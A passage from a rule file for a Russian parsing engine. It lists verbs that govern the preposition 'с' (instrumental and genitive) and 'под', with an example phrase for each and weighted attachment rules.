rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
